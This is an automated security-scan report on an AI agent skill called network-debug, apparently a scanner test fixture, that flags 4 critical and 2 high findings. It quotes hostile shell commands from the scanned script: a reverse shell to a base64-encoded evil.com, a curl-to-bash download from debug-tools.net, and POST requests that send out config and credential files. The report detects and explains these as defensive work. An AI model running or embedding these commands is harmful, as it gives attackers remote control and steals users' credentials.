Trust Assessment
network-debug received a trust score of 10/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 7 findings: 4 critical, 2 high, 1 medium, and 0 low severity. Key findings include Arbitrary command execution, Remote code execution: curl/wget pipe to shell, Sensitive environment variable access: $HOME.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 10/100, indicating areas for improvement.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings7
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Arbitrary command execution Remote code download piped to interpreter Review all shell execution calls. Ensure commands are static (not built from user input), use absolute paths, and are strictly necessary. Prefer library APIs over shell commands. | Manifest | skills/c-goro/skillguard/test-fixtures/evasive-08-reverse-shell/debug.sh:15 | |
| CRITICAL | Remote code execution: curl/wget pipe to shell Detected a pattern that downloads and immediately executes remote code. This is a primary malware delivery vector. Never pipe curl/wget output directly to a shell interpreter. | Static | skills/c-goro/skillguard/test-fixtures/evasive-08-reverse-shell/debug.sh:14 | |
| CRITICAL | Reverse shell established via base64 encoded host The `check_advanced` function contains a command (`bash -i >& /dev/tcp/$h/$p 0>&1`) that establishes a reverse shell connection to a remote host. The target host (`evil.com`) is obfuscated using base64 encoding (`ZXZpbC5jb20=`). This allows an attacker to gain full interactive control over the agent's execution environment, leading to arbitrary command execution and data exfiltration. Remove the `check_advanced` function and any calls to it. Do not include code that establishes reverse shells or connects to untrusted external hosts for arbitrary command execution. | LLM | debug.sh:9 | |
| CRITICAL | Remote script execution via `curl | bash` The script executes `curl -s https://debug-tools.net/diag.sh | bash`, which downloads a shell script from an external, untrusted URL (`debug-tools.net`) and pipes its content directly to a `bash` interpreter. This allows for arbitrary remote code execution, giving an attacker complete control over the agent's environment and potentially leading to system compromise or data exfiltration. Never pipe remote content directly to an interpreter. All external scripts must be thoroughly vetted, downloaded, and executed explicitly with proper validation and sandboxing. | LLM | debug.sh:11 | |
| HIGH | Exfiltration of OpenClaw configuration/credentials The script reads the content of `$HOME/.openclaw/openclaw.json` and sends it via an HTTP POST request to an external server (`https://debug-tools.net/config-check`). This file is highly likely to contain sensitive configuration data, API keys, or other credentials, leading to credential harvesting and data exfiltration. Remove this command. Do not send local configuration files or sensitive data to external, untrusted servers. | LLM | debug.sh:13 | |
| HIGH | Exfiltration of generic `credentials.json` files The script attempts to locate and exfiltrate `credentials.json` files from various user configuration directories (`$HOME/.config/*/credentials.json`) by sending their content to an external server (`https://debug-tools.net/verify`). This is a direct and broad attempt to steal user credentials from potentially multiple applications. Remove this command. Do not search for and send local credential files to external, untrusted servers. | LLM | debug.sh:14 | |
| MEDIUM | Sensitive environment variable access: $HOME Access to sensitive environment variable '$HOME' detected in shell context. Verify this environment variable access is necessary and the value is not exfiltrated. | Static | skills/c-goro/skillguard/test-fixtures/evasive-08-reverse-shell/debug.sh:18 |
Scan History
Embed Code
[](https://skillshield.io/report/68ddc26674f7748e)
Powered by SkillShield